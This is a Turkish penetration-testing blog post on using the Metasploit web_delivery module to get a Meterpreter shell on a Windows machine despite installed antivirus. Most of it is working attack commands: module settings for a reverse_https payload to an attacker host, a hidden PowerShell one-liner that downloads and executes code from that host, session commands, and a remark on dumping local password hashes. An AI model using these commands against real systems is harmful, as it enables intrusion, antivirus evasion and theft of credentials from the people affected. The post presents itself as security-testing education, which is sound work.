Anti-Virus Evasion Techniques

MSF web_delivery İstismar Modülü İle Meterpreter Erişimi Elde Edilmesi

Yazarı:

28/01/2015

1249

views

Sızma testleri sırasında antivirüslerin atlatılarak hedef sistemin ele geçirilmesi kritik bir aşamadır. Bu yazıda, MSF web_delivery istismar modülü kullanılarak Powershell tabanlı bir payload hazırlanacak ve hedef bilgisayarda Powershell komutu çalıtırılarak Meterpreter kabuğu elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

MSF web_delivery istismar modülü, web sunucusu (Kali) üzerinden kurban sistemlere payload göndermek için kullanılır. Bu modül, kurban sistemlerde çalıştırılan bir komut ile web suncusunda kayıtlı olan zararlı yazılım çağırılarak çalıştırılması için kullanılır. Kurban işletim sisteminde kurumlarda ve son kullanıcı bilgisayarlarında en çok kullanılan anti-virüslerden biri yüklü olmasına rağmen Meterpreter bağlantısının elde edilebildiği görülecektir.

Modül ile ilgili temel seçenekler aşağıdaki gibidir.

search web_delivery
use exploit/multi/script/web_delivery
show options

Modülün desteklediği 3 hedef bulunmaktadır: Python (0), PHP (1), PSH (2). Bu yazıda hazırlanacak olan payload, Windows istemcideki Powershell uygulaması için hazırlanacaktır. Modüle ait seçenekler aşağıdaki gibi ayarlanabilir.

set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.100.10
set LPORT 443
set TARGET 2
set SRVPORT 80
show options

Modül başlatılarak, kurban sistemde çalıştırılacak olan komut elde edilir.

exploit

Powershell komutu ile windows komut satırı ile çalıştırıldığında, Kali bilgisayarın 80. portunda çalışan web sunucuya talep yapılmakta ve bir katar (string / payload) indirilip çalıştırılmaktadır.

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘http://192.168.100.10/NJg3wXgOlVkV4g5’))

Böylece Kali tarafında talep yakalanmaktadır. Powershell komutunu çalıştıran kullanıcı hakları ile 32 bitlik Powershell prosesi üzerinde Meterpreter bağlantısının elde edildiği görülmektedir.

sessions
sessions -i 1
getuid
getpid
ps -U Vedat

Vedat hesabının yerel yönetici olduğu ve bir sıkılaştırma ayarının olmadığı varsayılırsa, yerel kullanıcıların parolasının elde edilebildiği görülmektedir. Meterpreter “hashdump” komutu yapısı gereği, 64 bitlik bir bilgisayarda 64 bitlik SYSTEM yetkileri ile çalışan bir proses üzerinde iken, etkin olarak çalışmaktadır.